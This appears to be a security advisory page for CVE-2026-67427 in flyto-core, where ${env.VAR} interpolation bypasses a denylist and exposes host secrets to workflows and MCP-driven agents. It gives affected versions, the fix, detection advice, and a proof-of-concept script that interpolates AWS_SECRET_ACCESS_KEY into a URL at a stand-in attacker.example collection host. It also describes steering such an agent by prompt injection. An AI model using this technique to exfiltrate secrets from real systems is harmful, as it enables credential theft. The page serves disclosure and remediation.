CVE-2026-67427: Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
Flyto Core (pip package flyto-core), a workflow engine with an MCP surface, lets any workflow read host environment variables through ${env.VAR} interpolation, even though its capability policy denies the env.get module by default. A workflow author or an LLM driving the MCP tools can read cloud keys and tokens and send them out through an allowed module. Fixed in 2.26.7.
Published Jul 30, 2026 · Analysis Nov 1, 2026
What an attacker can do
The module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run. It denies env.get and env.load_dotenv because they expose API keys and DSNs. But the variable resolver in src/core/engine/variable_resolver.py expands ${env.VAR} earlier, with a bare os.getenv(env_var) call, no allowlist and no policy check. Any workflow parameter can therefore read any host environment variable.
The reporter's proof of concept shows env.get as not allowed while ${env.AWS_SECRET_ACCESS_KEY} resolves to the secret and can be placed in a URL such as an attacker collection endpoint. Through a running API, a POST /v1/workflow/run step with text set to the variable returned the secret in the workflow result in plaintext; trace redaction did not mask it.
The advisory argues the caller is untrusted by design: workflow parameters come from an LLM over MCP or from a hosted-API client, not from the operator. An attacker who steers that agent, for example by prompt injection, or who can call the workflow API can then exfiltrate secrets through any allowed outbound module. The SSRF guard allows a public attacker host. The CVSS vector rates it network, no privileges, high confidentiality impact.
Who is affected
flyto-core versions below 2.26.7. Everyone who exposes the workflow API (POST /v1/workflow/run) or the MCP tool surface to untrusted callers or agents is at risk, particularly where the process environment holds cloud credentials. Check the installed version:
pip show flyto-coreThe advisory's reference list points to release v2.26.6 while the patched version is 2.26.7. Use 2.26.7 or later.
flyto-core
- Ecosystem
- PyPI
- Affected
- < 2.26.7
- Fixed in
- 2.26.7
- Check
pip show flyto-core
How to fix it
Upgrade to flyto-core 2.26.7.
pip install --upgrade "flyto-core>=2.26.7"The fix commit makes ${env.*} subject to a new policy check, is_env_var_allowed in core.module_policy. If the env.get module is allowed, interpolation behaves as before. If it is denied, only names listed in the new FLYTO_ENV_VAR_ALLOWLIST variable resolve. That variable is comma-separated and accepts fnmatch globs such as PUBLIC_*. Denied lookups log a warning and resolve to nothing. Rotate any secret that sat in the environment of an exposed instance.
How to tell if you were hit
After upgrading, a denied lookup logs a warning from the variable resolver; search for it to see who was probing. On older versions, review workflow definitions, API request bodies and MCP tool calls for ${env. strings, especially names like AWS_SECRET_ACCESS_KEY, tokens or DSNs. Check outbound request logs from allowed modules for URLs carrying secret-looking query values. If an AI agent can call Flyto through MCP, Beam records agent MCP tool calls, and its rules can flag a workflow call that references environment variables.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The capability policy denies the env.get and env.load_dotenv modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine's variable resolver expands ${env.VAR} for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.
Affected code
src/core/engine/variable_resolver.py:
if var_type == 'env':
if len(parts) < 2:
return None
env_var = parts[1]
return os.getenv(env_var) # any env var, no allowlist, not covered by module policyThe module policy (enforce_module_policy in module_policy.py) gates module execution at BaseModule.run, but ${...} interpolation happens earlier in the engine and is not subject to it. So denylisting env.get does not actually stop a workflow from reading host env secrets.
Reproduction
Save as envbypass_poc.py, run with PYTHONPATH=src/src python envbypass_poc.py.
#!/usr/bin/env python3
import os
os.environ["AWS_SECRET_ACCESS_KEY"] = "AKIA-operator-super-secret-DO-NOT-LEAK"
from core.module_policy import module_filter
from core.engine.variable_resolver import VariableResolver
print("env.get allowed? ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))Output:
env.get allowed? False
resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAKenv.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).
Reachability (why this is not operator self-service)
The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.
Impact
Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.
Suggested fix
Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.
Credited to kaimandalic.
Questions
- Does denying env.get protect me on flyto-core below 2.26.7?
No. The policy covers only module execution. The resolver expands ${env.VAR} before that check, so a workflow can read the same variables without calling env.get.
- How do I still allow some variables after the fix?
Set FLYTO_ENV_VAR_ALLOWLIST to a comma-separated list of names or fnmatch patterns, for example PUBLIC_*. When env.get is denied, only those names resolve.
- Is CVE-2026-67427 exploited in the wild?
No source reports exploitation. The advisory includes a working proof of concept and shows the secret returned through the API.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026
